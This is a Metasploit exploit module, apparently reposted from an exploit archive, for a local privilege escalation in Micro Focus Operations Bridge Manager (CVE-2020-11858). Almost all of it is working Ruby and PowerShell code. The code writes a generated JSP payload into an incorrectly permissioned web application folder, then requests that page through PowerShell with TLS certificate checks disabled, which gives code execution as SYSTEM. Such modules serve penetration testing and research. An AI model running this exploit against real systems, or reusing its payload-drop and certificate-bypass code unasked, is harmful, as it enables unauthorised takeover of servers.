Micro Focus Operations Bridge Manager Local Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Windows::Powershell  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Micro Focus Operations Bridge Manager Local Privilege Escalation',  
'Description' => %q{  
This module exploits an incorrectly permissioned folder in Micro Focus Operations Bridge  
Manager.  
An unprivileged user (such as Guest) can drop a JSP file in an exploded WAR directory and  
then access it without authentication by making a request to the OBM server.  
This will result in automatic code execution as SYSTEM. This module has been tested on  
OBM 2020.05, but it should work out of the box on earlier versions too.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module  
],  
'Platform' => 'win',  
'Privileged' => true,  
'SessionTypes' => ['meterpreter'],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Targets' =>  
[  
[  
'Micro Focus Operations Bridge Manager <= 2020.05',  
{  
'Path' => 'C:\HPBSM\AppServer\webapps\site.war\LB_Verify.jsp'  
}  
]  
],  
'References' =>  
[  
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],  
[ 'CVE', '2020-11858'],  
[ 'ZDI', '20-1326'],  
],  
'DisclosureDate' => '2020-10-28',  
'DefaultTarget' => 0  
)  
)  
  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),  
])  
end  
  
def exploit  
unless session.type == 'meterpreter'  
fail_with(Failure::None, 'Only meterpreter sessions are supported')  
end  
  
unless have_powershell?  
fail_with(Failure::None, 'No Powershell is installed on the host')  
end  
  
# according to /lib/msf/core/post/file.rb this is not binary safe on Windows, but we don't care, it's JSP  
payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe)  
write_file(target['Path'], payload_jsp)  
  
if datastore['SSL']  
prefix = 'https://'  
# Code below allows us to perform TLS requests to servers with self signed certs  
# In Powershell 5.1, we can simply use -SkipCertificateCheck, but in older versions we need this  
# Taken from https://stackoverflow.com/questions/11696944/powershell-v3-invoke-webrequest-https-error  
ps_cmd = %[  
add-type @"  
using System.Net;  
using System.Security.Cryptography.X509Certificates;  
public class TrustAllCertsPolicy : ICertificatePolicy {  
public bool CheckValidationResult(  
ServicePoint srvPoint, X509Certificate certificate,  
WebRequest request, int certificateProblem) {  
return true;  
}  
}  
"@  
$AllProtocols = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'  
[System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols  
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy  
]  
else  
prefix = 'http://'  
ps_cmd = ''  
end  
  
uri = "#{prefix}127.0.0.1:#{datastore['RPORT']}#{datastore['TARGETURI']}topaz/LB_Verify.jsp"  
print_status("JSP dropped, calling it @ #{uri}")  
ps_cmd += "Invoke-WebRequest -Uri #{uri}"  
execute_script(ps_cmd)  
end  
end  
`